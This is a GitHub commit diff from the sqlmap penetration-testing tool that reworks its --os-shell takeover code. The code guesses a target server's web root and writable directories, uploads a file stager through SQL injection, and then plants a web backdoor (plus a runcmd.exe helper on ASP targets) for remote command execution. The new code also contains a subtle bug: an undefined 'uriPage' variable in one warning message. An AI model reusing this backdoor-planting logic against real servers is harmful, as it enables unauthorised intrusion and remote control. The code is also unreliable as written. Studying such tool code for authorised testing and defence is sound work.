Skip to content

Commit b18397f

Browse files
committed
major revisit of --os-shell methods
1 parent ff77075 commit b18397f

2 files changed

Lines changed: 118 additions & 112 deletions

File tree

lib/core/common.py

Lines changed: 19 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -204,17 +204,14 @@ def paramToDict(place, parameters=None):
204204

205205
return testableParameters
206206

207-
def getDocRoot(webApi=None):
207+
def getDocRoot():
208208
docRoot = None
209209
pagePath = directoryPath(conf.path)
210210

211211
if kb.os == "Windows":
212-
if webApi in ("php", "jsp"):
213-
defaultDocRoot = "C:/xampp/htdocs/"
214-
else:
215-
defaultDocRoot = "C:/Inetpub/wwwroot/"
212+
defaultDocRoot = ["C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"]
216213
else:
217-
defaultDocRoot = "/var/www/"
214+
defaultDocRoot = ["/var/www/"]
218215

219216
if kb.absFilePaths:
220217
for absFilePath in kb.absFilePaths:
@@ -227,7 +224,7 @@ def getDocRoot(webApi=None):
227224
if isWindowsPath(absFilePath):
228225
absFilePathWin = posixToNtSlashes(absFilePath)
229226
absFilePath = ntToPosixSlashes(absFilePath[2:])
230-
elif isWindowsDriveLetterPath(absFilePath): # E.g. C:/xampp/htdocs
227+
elif isWindowsDriveLetterPath(absFilePath):
231228
absFilePath = absFilePath[2:]
232229

233230
if pagePath in absFilePath:
@@ -252,53 +249,43 @@ def getDocRoot(webApi=None):
252249
logger.warn(warnMsg)
253250

254251
message = "please provide the web server document root "
255-
message += "[%s]: " % defaultDocRoot
252+
message += "[%s]: " % ",".join(root for root in defaultDocRoot)
256253
inputDocRoot = readInput(message, default=defaultDocRoot)
257254

258255
if inputDocRoot:
259-
docRoot = inputDocRoot
256+
if isinstance(inputDocRoot, basestring):
257+
docRoot = inputDocRoot.split(',')
258+
else:
259+
docRoot = inputDocRoot
260260
else:
261261
docRoot = defaultDocRoot
262262

263263
return docRoot
264264

265-
def getDirs(webApi=None):
266-
directories = set()
267-
268-
if kb.os == "Windows":
269-
if webApi in ("php", "jsp"):
270-
defaultDirs = ["C:/xampp/htdocs/"]
271-
else:
272-
defaultDirs = ["C:/Inetpub/wwwroot/"]
273-
else:
274-
defaultDirs = ["/var/www/"]
275-
276-
if kb.docRoot and kb.docRoot not in defaultDirs:
277-
defaultDirs.append(kb.docRoot)
265+
def getDirs():
266+
directories = set("/")
278267

279268
if kb.absFilePaths:
280269
infoMsg = "retrieved web server full paths: "
281-
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
270+
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
282271
logger.info(infoMsg)
283272

284273
for absFilePath in kb.absFilePaths:
285274
if absFilePath:
286275
directory = directoryPath(absFilePath)
287-
288-
if isWindowsPath(directory):
289-
directory = ntToPosixSlashes(directory)
290-
291-
if directory == '/':
292-
continue
293-
276+
directory = ntToPosixSlashes(directory)
294277
directories.add(directory)
295278
else:
296279
warnMsg = "unable to retrieve any web server path"
297280
logger.warn(warnMsg)
298281

282+
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
283+
if webDir:
284+
directories.add(webDir)
285+
299286
message = "please provide any additional web server full path to try "
300-
message += "to upload the agent [%s]: " % ",".join(directory for directory in defaultDirs)
301-
inputDirs = readInput(message, default=",".join(directory for directory in defaultDirs))
287+
message += "to upload the agent [Enter for None]: "
288+
inputDirs = readInput(message)
302289

303290
if inputDirs:
304291
inputDirs = inputDirs.replace(", ", ",")
@@ -307,8 +294,6 @@ def getDirs(webApi=None):
307294
for inputDir in inputDirs:
308295
if inputDir:
309296
directories.add(inputDir)
310-
else:
311-
[directories.add(directory) for directory in defaultDirs]
312297

313298
return directories
314299

lib/takeover/web.py

Lines changed: 99 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -173,8 +173,8 @@ def webInit(self):
173173
self.webApi = choices[int(choice) - 1]
174174
break
175175

176-
kb.docRoot = getDocRoot(self.webApi)
177-
directories = getDirs(self.webApi)
176+
kb.docRoot = getDocRoot()
177+
directories = getDirs()
178178
directories = list(directories)
179179
directories.sort()
180180

@@ -185,97 +185,118 @@ def webInit(self):
185185
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
186186
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
187187

188-
for directory in directories:
189-
# Upload the file stager
190-
self.__webFileInject(stagerContent, stagerName, directory)
191-
requestDir = ntToPosixSlashes(directory)
188+
warned = set()
189+
success = False
192190

193-
if not requestDir:
194-
continue
195-
196-
if requestDir[-1] != '/':
197-
requestDir += '/'
198-
199-
requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
200-
201-
if isWindowsDriveLetterPath(requestDir):
202-
requestDir = requestDir[2:]
203-
204-
requestDir = normalizePath(requestDir).replace("//", "/")
191+
for i in xrange(len(kb.docRoot)):
192+
if success:
193+
break
205194

206-
if requestDir[0] != '/':
207-
requestDir = '/' + requestDir
195+
for j in xrange(len(directories)):
196+
docRoot = kb.docRoot[i]
197+
directory = directories[j]
208198

209-
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
210-
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
211-
self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
212-
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
199+
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
200+
continue
201+
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
202+
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
203+
204+
# '' or '/' -> 'docRoot'
205+
if not directory:
206+
localPath = docRoot
207+
uriPath = '/'
208+
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
209+
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
210+
localPath = "%s/%s" % (docRoot, directory)
211+
uriPath = "/%s" % directory
212+
else:
213+
localPath = directory
214+
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
215+
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
216+
uriPath = uriPath.replace(docRoot, "/")
217+
uriPath = "/%s" % normalizePath(uriPath)
218+
uriPath = uriPath.replace("//", "/")
219+
220+
localPath = localPath.rstrip('/')
221+
uriPath = uriPath.rstrip('/')
222+
223+
# Upload the file stager
224+
self.__webFileInject(stagerContent, stagerName, localPath)
225+
226+
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
227+
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
228+
229+
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
230+
231+
if "sqlmap file uploader" not in uplPage:
232+
if localPath not in warned:
233+
warnMsg = "unable to upload the file stager "
234+
warnMsg += "on '%s'" % localPath
235+
logger.warn(warnMsg)
236+
warned.add(localPath)
237+
continue
213238

214-
if "sqlmap file uploader" not in uplPage:
215-
warnMsg = "unable to upload the file stager "
216-
warnMsg += "on '%s'" % directory
217-
logger.warn(warnMsg)
218-
continue
239+
elif "<%" in uplPage or "<?" in uplPage:
240+
warnMsg = "file stager uploaded "
241+
warnMsg += "on '%s' but not dynamically interpreted" % uriPage
242+
logger.warn(warnMsg)
243+
continue
219244

220-
elif "<%" in uplPage or "<?" in uplPage:
221-
warnMsg = "file stager uploaded "
222-
warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
223-
logger.warn(warnMsg)
224-
continue
245+
elif self.webApi == "aspx":
246+
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
247+
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
225248

226-
elif self.webApi == "aspx":
227-
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
228-
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
249+
infoMsg = "the file stager has been successfully uploaded "
250+
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
251+
logger.info(infoMsg)
229252

230-
infoMsg = "the file stager has been successfully uploaded "
231-
infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
232-
logger.info(infoMsg)
253+
if self.webApi == "asp":
254+
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
255+
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
256+
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
233257

234-
if self.webApi == "asp":
235-
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
236-
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
237-
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
258+
if match:
259+
backdoorDirectory = match.group(1)
260+
else:
261+
continue
238262

239-
if match:
240-
backdoorDirectory = match.group(1)
241-
else:
242-
continue
263+
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
264+
backdoorStream.file.truncate()
265+
backdoorStream.read()
266+
backdoorStream.seek(0)
267+
backdoorStream.write(backdoorContent)
243268

244-
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
245-
backdoorStream.file.truncate()
246-
backdoorStream.read()
247-
backdoorStream.seek(0)
248-
backdoorStream.write(backdoorContent)
269+
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
270+
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
271+
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
272+
self.webDirectory = backdoorDirectory
273+
else:
274+
continue
249275

250-
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
251-
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
252-
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
253-
self.webDirectory = backdoorDirectory
254276
else:
255-
continue
277+
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if kb.os == "Windows" else localPath):
278+
warnMsg = "backdoor has not been successfully uploaded "
279+
warnMsg += "with file stager probably because of "
280+
warnMsg += "lack of write permission."
281+
logger.warn(warnMsg)
256282

257-
else:
258-
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
259-
warnMsg = "backdoor has not been successfully uploaded "
260-
warnMsg += "with file stager probably because of "
261-
warnMsg += "lack of write permission."
262-
logger.warn(warnMsg)
283+
message = "do you want to try the same method used "
284+
message += "for the file stager? [y/N] "
285+
getOutput = readInput(message, default="N")
263286

264-
message = "do you want to try the same method used "
265-
message += "for the file stager? [y/N] "
266-
getOutput = readInput(message, default="N")
287+
if getOutput in ("y", "Y"):
288+
self.__webFileInject(backdoorContent, backdoorName, localPath)
289+
else:
290+
continue
267291

268-
if getOutput in ("y", "Y"):
269-
self.__webFileInject(backdoorContent, backdoorName, directory)
270-
else:
271-
continue
292+
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
293+
self.webDirectory = localPath
272294

273-
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
274-
self.webDirectory = directory
295+
infoMsg = "the backdoor has probably been successfully "
296+
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
297+
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
298+
logger.info(infoMsg)
275299

276-
infoMsg = "the backdoor has probably been successfully "
277-
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
278-
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
279-
logger.info(infoMsg)
300+
success = True
280301

281-
break
302+
break

0 commit comments

Comments
 (0)